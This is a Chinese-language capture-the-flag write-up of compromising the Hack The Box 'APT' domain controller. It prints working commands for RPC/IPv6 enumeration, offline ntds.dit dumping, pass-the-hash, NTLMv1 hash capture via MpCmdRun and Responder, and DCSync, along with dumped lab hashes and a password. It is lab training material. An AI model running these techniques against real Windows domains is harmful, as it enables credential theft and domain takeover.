靶机:10.10.10.213,只开了80和135这两个端口。
访问一下http
服务,没发现什么比较有趣的东西,是个静态站,扫目录也没扫出来什么东西,基本不考虑从web端撕口子了,去看一下RPC
服务
试着用rpcclient
匿名访问裸连,失败无果
1
| rpcclient -U "" -N 10.10.10.213
|
再试着用下rpcmap
尝试获取远程RPC
的端点信息,重点关注我单列出来的MSDCOM
这里,经过brute-opnums
最终发现 99FCFEC4-5260-101B-BBCB-00AA0021347A
存在可调用的操作数(就是存在可调用的方法),我们去官网查一查它的资料 。
(诶,为什么MS-RPCE
不查呢?我感觉这两个对象差不多啊)
1 2 3 4 5 6 7 8
| impacket-rpcmap ncacn_ip_tcp:10.10.10.213[135] //查询服务器10.10.10.213上端口135的RPC服务的。它会显示每个服务的UUID,版本号,绑定字符串和注释绑定字符串是用来描述如何连接到RPC服务的信息,比如协议,地址,端口等。[ncacn_ip_tcp是一种RPC传输协议,表示使用TCP/IP协议,10.10.10.213 是服务器的IP地址,135是服务器上运行RPC服务的端口号。
impacket-rpcmap ncacn_ip_tcp:10.10.10.213[135] -brute-uuid //用来暴力破解服务器10.10.10.213上端口135的RPC服务的UUID的。它会尝试使用一个预定义的UUID列表来连接到RPC服务,并显示成功连接的服务的信息。这样可以发现一些隐藏或未公开的RPC服务.
impacket-rpcmap ncacn_ip_tcp:10.10.10.213[135] -brute-uuids -brute-opnums //可以用于爆破一些可能有漏洞uuid操作及其操作数
|
查询地址: https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-dcom/c25391af-f59e-40da-885e-cc84076673e4
从官网上查出来的结果如下,进程名称 IID_IObjectExporter
和打CTF的时候一样,当你想利用/绕过一个方法的时候,最好的办法是先去搜一下它的历史EXP。我们先去了解一下这个进程的相关信息。
根据文章所示,我们理论上来讲是可以通过 ServerAlive2
来获得主机NetBIOS, FQDN, IPv4, IPv6
等地址的,查了下相关信息,最终是找到了这么一个脚本,下载地址: https://github.com/mubix/IOXIDResolver git到本地后得到以下利用结果。
1 2 3 4 5 6
| python IOXIDResolver.py -t 10.10.10.213 Address: apt # 这是目标机器的主机名 Address: 10.10.10.213 # 这是目标机器的IPv4地址 Address: dead:beef::1b3 # 这是目标机器的IPv6地址之一 Address: dead:beef::b885:d62a:d679:573f # 这是目标机器的IPv6地址之一 Address: dead:beef::494f:8e5:1dd6:4c5 # 这是目标机器的IPv6地址之一
|
因为一些安全策略配置以及其他方面的原因,有时候我们扫ipv6能够获得与扫ipv4截然不同的端口号
我们简单的扫一下上面得到的ipv6的地址。这里有个坑点注意一下,以前一直是拿windows
主机连的vpn,虚拟机方面用NAT模式接入,以此实现对目标内网靶机的访问。但在这里的话,最好直接在虚拟机里面连,不然不知道为什么一直走不通对ipv6的访问。别的倒也没什么了,扫描结果如下。
看到了很多老朋友啊,光从53端口和3268/3269端口,我们大致就能够看出来这是一台仿DC的主机(没扫出来88端口比较遗憾)。因为开启了445端口,按照以往的习惯,先smbclient
裸连一下。
1 2
| smbclient -N -L //htb.local smbclient -N \\\\htb.local\\backup
|
裸连上后,成功把backup.zip
下载到了本地,本来想直接解压的,但发现有密码,得先破开才行。
这里用先用zip2john把zip转换成hash文件,之后再用john进行破译。成功得到密码:
iloveyousomuch
unzip解压之后得到了这么个玩意 ntds.dit
,找gpt
问了下这是个什么东西
1 2 3 4 5
| ntds.dit 文件是域环境中域控上会有的一个二进制文件,是主要的活动目录数据库,其文件路径为域控的 %SystemRoot%\ntds\ntds.dit
ntds.dit 文件包括但不限于有关域用户、组和组成员身份和凭据信息、GPP等信息。它包括域中所有用户的密码哈希值,为了进一步保护密码哈希值,使用存储在 SYSTEM 注册表配置单元中的密钥对这些哈希值进行加密
在非域环境也就是在工作组环境中,用户的密码等信息存储在 SAM 文件,想要破解 SAM 文件与 ntds.dit 文件都需要拥有一个 SYSTEM 文件。
|
看关键词,发现这东西存了==域中所有用户的密码哈希值==,我们这里用secretdump
来查一下数据
1 2
| secretsdump.py -ntds ntds.dit -system ../registry/SYSTEM LOCAL > ../usr_hash_raw //-system ../registry/SYSTEM: 这个参数指定了包含注册表数据的文件。`SYSTEM`文件通常包含系统配置和安全策略等信息。
|
导出到usr_hash_raw之后浅读一下,发现差不多有8k条数据,用户名和密码存在一对多的关系。
阿西吧,这一个一个试得试到猴年马月了,我们这里用域内用户枚举排除一下没用的账号,先把用户名给提取出来,去重放到本地文件里面,差不多有4k个用户等待我们来验证。
1 2 3 4
| cut -d ':' -f1 usr_hash_raw|uniq>usrlist
sudo ./kerbrute_linux_amd64 userenum -d htb.local --dc htb.local /home/f4miti0n/桌面/IOXIDResolver-master/xxx/usrlist
|
最终是爆破出了这三个有效用户
1 2 3
| 2023/10/13 14:33:28 > [+] VALID USERNAME: APT$@htb.local 2023/10/13 14:33:28 > [+] VALID USERNAME: Administrator@htb.local 2023/10/13 14:37:51 > [+] VALID USERNAME: henry.vinson@htb.local
|
挨个验证还是有点麻烦,这里上点办公技巧,神奇的awk命令
1 2 3 4 5 6
| cat usr_hash_raw|grep ":::"|awk -F ":::" '{print $1}'|uniq>userhash //只有带:::的才是正经用户信息数据,为了后面分割数据方便,这里先把:::给去掉 awk -F ":" '{print "impacket-getTGT htb.local/henry.vinson@htb.local -hashes "$3":"$4}' userhash|xargs -I{} bash -c {} //理论上来讲,我们需要把那几个用户都拿来试一遍,但这里就不浪费时间了,直接上henry.vinson,查就是了 watch "ls -ltr | tail -2" //监测一下有无文件生成
|
最终是拿到了henry.vinsion
的TGT
票据和hash
1
| aad3b435b51404eeaad3b435b51404ee:e53d87d42adaa3ca32bdb34a876cbffb
|
按照常理来讲,这个时候我们就可以进行如下的尝试了,但我提前看了Enterpr1se
师傅的周报,机智地发现此路不通,便也不再多做尝试了,但出于学习地目的,还是记录一下。
1 2 3 4 5
| evil-winrm -i htb.local -u henry.vinson -H e53d87d42adaa3ca32bdb34a876cbffb psexec.py -hashes 'aad3b435b51404eeaad3b435b51404ee:e53d87d42adaa3ca32bdb34a876cbffb' htb.local/henry.vinson@htb.local wmiexec.py -hashes 'aad3b435b51404eeaad3b435b51404ee:e53d87d42adaa3ca32bdb34a876cbffb' htb.local/henry.vinson@htb.local dcomexec.py -hashes 'aad3b435b51404eeaad3b435b51404ee:e53d87d42adaa3ca32bdb34a876cbffb' htb.local/henry.vinson@htb.local smbexec.py -hashes 'aad3b435b51404eeaad3b435b51404ee:e53d87d42adaa3ca32bdb34a876cbffb' htb.local/henry.vinson@htb.local
|
这里是用的impacket-reg
查的注册表来打破僵局的,我们这里查一下HKU
的相关键值内容,最后在HKU\\Software\\GiganticHostingManagementSystem
下得到了另一个用户的账户密码:henry.vinson_adm
/ G1#Ny5@2dvht
1 2 3
| reg.py -hashes 'aad3b435b51404eeaad3b435b51404ee:e53d87d42adaa3ca32bdb34a876cbffb' -dc-ip htb.local htb.local/henry.vinson@htb.local query -keyName HKU
reg.py -hashes 'aad3b435b51404eeaad3b435b51404ee:e53d87d42adaa3ca32bdb34a876cbffb' -dc-ip htb.local htb.local/henry.vinson@htb.local query -keyName HKU\\Software\\GiganticHostingManagementSystem
|
不知道是不是Remote
组的成员,我们盲登一下试试
1
| evil-winrm -i htb.local -u henry.vinson_adm -p G1#Ny5@2dvht
|
All Right ,get Flag!
正式进入提权阶段,老样子传了一个SharpHound.exe上去,但没发现什么有效的进攻路径,无奈转手动挡,简单收集一下当前用户信息
然后再查看一下域内用户都有哪些 net user /domain
说实话,没什么思路,跟着红笔师傅的视频做了一下,这里是查到了C:/users/henry.vinson_adm/appdata/Roaming/Microsoft/Windows/PowerShell/PSReadline/ConsoleHost_history.txt
这个历史敏感文件,其中涉及到的命令如下所示,相关注释也放在旁边了,别的师傅给标的,写的很清晰。
1 2 3 4 5
| $Cred = get-credential administrator: invoke-command -credential $Cred -computername localhost -scriptblock {...}:#这个命令使用前面存储的管理员凭据在本地计算机(localhost)上执行一段脚本。 Set-ItemProperty -Path "HKLM:\SYSTEM\CurrentControlSet\Control\Lsa" lmcompatibilitylevel -Type DWORD -Value 2 -Force:#这是在脚本块中执行的命令。它更改了Windows注册表中的一个设置。具体来说,它更改了"lmcompatibilitylevel"的值,这个值决定了系统对LAN Manager(LM)和NTLM认证的支持级别。这个命令将其设置为2,这意味着系统将使用NTLMv1和LM,但不会使用NTLMv2。
|
因为用的是NTLMV1做验证,我们自然而然会想到用Responder
来做中继破解NTLM Hash。和之前的利用思路一样,我们需要让APT
这台靶机,访问我们本地用Responder伪造好的服务器。在之前的Responder
靶机中,我们用的是远程文件包含的思路,但这里显然没有这个点能来让我们利用,我们需要自己去找利用点。这里省略一些没必要说的流程,我们是在本地的Program FIles\Windows Defender
目录下找到的MpCmdRun.exe
这个利用文件,放到Mpcmdrun | LOLBAS (lolbas-project.github.io) 搜一搜相关用法,得到如下界面(这个网站真的好用,长期保存一下,live off the land
神器)
到/etc/Responder/
目录下修改Responder.conf
文件,将其中Random的挑战码改成1122334455667788
,方便crack.sh
进行破译
1 2 3 4
| .\MpCmdRun.exe -Scan -scantype 3 -File \\10.10.14.6\\noexist //在APT靶机上运行 sudo responder -I tun0 --lm //在Kali上运行
|
最终在Kali上收到了如下内容,用ntlmv1.py
小破一下
得到如下结果,把这个NTHASH:95ACA8C7248774CB427E1AE5B8D5CE6830A49B5BB858D384
放到crack.sh
再进行操作
得到结果d167c3238864b12f5f82feae86a7f798
最后尝试用secretdump
导出凭据,得到Administrator的真正凭据,尝试用evil-winrm
链接
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26
| secretsdump.py 'htb.local/APT$@htb.local' -hashes 'aad3b435b51404eeaad3b435b51404ee:d167c3238864b12f5f82feae86a7f798' ----------------------------------------------------------------------------------- Administrator:500:aad3b435b51404eeaad3b435b51404ee:c370bddf384a691d811ff3495e8a72e2::: Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0::: krbtgt:502:aad3b435b51404eeaad3b435b51404ee:738f00ed06dc528fd7ebb7a010e50849::: DefaultAccount:503:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0::: henry.vinson:1105:aad3b435b51404eeaad3b435b51404ee:e53d87d42adaa3ca32bdb34a876cbffb::: henry.vinson_adm:1106:aad3b435b51404eeaad3b435b51404ee:4cd0db9103ee1cf87834760a34856fef::: APT$:1001:aad3b435b51404eeaad3b435b51404ee:d167c3238864b12f5f82feae86a7f798::: [*] Kerberos keys grabbed Administrator:aes256-cts-hmac-sha1-96:72f9fc8f3cd23768be8d37876d459ef09ab591a729924898e5d9b3c14db057e3 Administrator:aes128-cts-hmac-sha1-96:a3b0c1332eee9a89a2aada1bf8fd9413 Administrator:des-cbc-md5:0816d9d052239b8a krbtgt:aes256-cts-hmac-sha1-96:b63635342a6d3dce76fcbca203f92da46be6cdd99c67eb233d0aaaaaa40914bb krbtgt:aes128-cts-hmac-sha1-96:7735d98abc187848119416e08936799b krbtgt:des-cbc-md5:f8c26238c2d976bf henry.vinson:aes256-cts-hmac-sha1-96:63b23a7fd3df2f0add1e62ef85ea4c6c8dc79bb8d6a430ab3a1ef6994d1a99e2 henry.vinson:aes128-cts-hmac-sha1-96:0a55e9f5b1f7f28aef9b7792124af9af henry.vinson:des-cbc-md5:73b6f71cae264fad henry.vinson_adm:aes256-cts-hmac-sha1-96:f2299c6484e5af8e8c81777eaece865d54a499a2446ba2792c1089407425c3f4 henry.vinson_adm:aes128-cts-hmac-sha1-96:3d70c66c8a8635bdf70edf2f6062165b henry.vinson_adm:des-cbc-md5:5df8682c8c07a179 APT$:aes256-cts-hmac-sha1-96:4c318c89595e1e3f2c608f3df56a091ecedc220be7b263f7269c412325930454 APT$:aes128-cts-hmac-sha1-96:bf1c1795c63ab278384f2ee1169872d9 APT$:des-cbc-md5:76c45245f104a4bf
|
evil-winrm链接,pwn!